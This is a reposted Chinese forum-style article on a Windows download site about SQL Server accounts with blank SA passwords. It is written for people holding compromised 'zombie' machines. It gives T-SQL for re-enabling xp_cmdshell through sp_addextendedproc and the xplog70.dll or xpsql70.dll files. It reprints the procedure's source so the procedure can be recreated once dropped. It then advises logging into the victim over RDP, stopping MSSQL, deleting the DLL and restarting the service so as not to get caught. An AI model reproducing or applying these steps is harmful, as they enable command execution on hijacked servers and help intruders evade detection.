Win10下载站 - 最全面的操作系统下载网站

软件教程软件下载seo常用PPT下载

windows7旗舰版
当前位置:主页 > 网络技术教程 >

SA空口令破解与保护

发布时间:2023-09-19 来源:win7旗舰版 浏览量:

网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

老早就想写这篇文章了,为什么呢?因为至从在灰色轨迹看到COOLCAT的那篇《肉机保护术一》后,天天晚上就睡不着,感觉是不错,但总觉得好象有破绽,苦思苦想后,终于明白了,还是有很多破解方法和保护方法的,哈,但是最近很忙,所以不能写太多,自己好好理解吧,嗯,如果你有SQL基础的话,下面的东西,你会觉得很简单的....... 


灰色上的那篇文章上的SQL语句是这样的: 
if exists (select * from  
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and  
OBJECTPROPERTY(id, N'IsExtendedProc') = 1) 
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' 
GO 


破解 
先sp_helpextendedproc xp_cmdshell 看看是哪个DLL文件 
再EXEC sp_addextendedproc xp_cmdshell ,@dllname ='DLL文件名'  
一般SQL2000是通过下面语句恢复 
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'  
而SQL97是通过下面语句恢复 
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll' 
就这么简单,哈 

嗯,所以说,那个灰色上的那篇文章做的保护还是不周到。 


再加保护: 
DROP PROCEDURE sp_addextendedproc 
if exists (select * from  
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and  
OBJECTPROPERTY(id, N'IsExtendedProc') = 1) 
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' 
GO  

这下只sp_addextendedproc和xp_cmdshell都不能用了,哈,怎么样上面这段可是我自己写的哦,呵呵,比灰色那个安全吧 


再破解 
sp_addextendedproc只是个存储过程,不能再添加吗,事实上是可以的 
下面是添加的语句 
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
/* 
**  If we're in a transaction, disallow the addition of the 
**  extended stored procedure. 
*/ 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
/* 
** Create the extended procedure mapping. 
*/ 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 
GO  

再加保护 

现在的保护已经很难了,想来想去只有去除SA对master的存储过程的控制,也就是说让SA和Guest不能对master的存储过程的控制,做到这点已经是很不容易了,其它方法我想也就没有了,如果再去除create procedure,那我不是教大家去坐牢吗.......?另外我觉得如果不能在MASTER中创建,那能不能在其它的数据库中创建呢?在其它数据库中调用呢?....... 
所以想要再加保护很难了...... 
再说吧,一个存储过程并不能算什么的,因为一个存储过程只是几个语句的集合,不要这个存储过程我也能用几个语句去实现这个功能啊,因此我想如果想再加保护,只能对这段存储过程中几个一般SQL程序员不常用到的语句做限制了.......  
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
/* 
**  If we're in a transaction, disallow the addition of the 
**  extended stored procedure. 
*/ 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
/* 
** Create the extended procedure mapping. 
*/ 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 
GO  
再看看这段程序,再想了想,限制哪段呢?,嗯,55555.....,我可不是SQL的研发者啊......算了,这条路不通,走其它的....... 

想了半个小时,终于想出了SQL最佳的保护术,哈哈 


SQL最佳的保护术诞生...... 

嗯,对了,不是要调用那个*.dll嘛,删了不就得了,嗯,很简单,而且又没有破绽...... 
哈哈,只能这样做了,上3389先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了,哦,对了,还要NET start mssqlserver,要不小心被抓,因为如果连续几个小时SQL停止工作,会对一个大型企业造成很严重的影响,所以要记得打开...... 
嗯,这个下去,谁还能破解呢? 
golder(小安喜)
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。

关键词: SA空口令破解与保护 
我要分享:

相关推荐

本站发布的ghost系统仅为个人学习测试使用,请在下载后24小时内删除,不得用于任何商业用途,否则后果自负,请支持购买微软正版软件!

如侵犯到您的权益,请及时通知我们,我们会及时处理。 手机站

Copyright @ 2018 win10下载站(http://www.win1064.cn) 版权所有  xml地图 邮箱: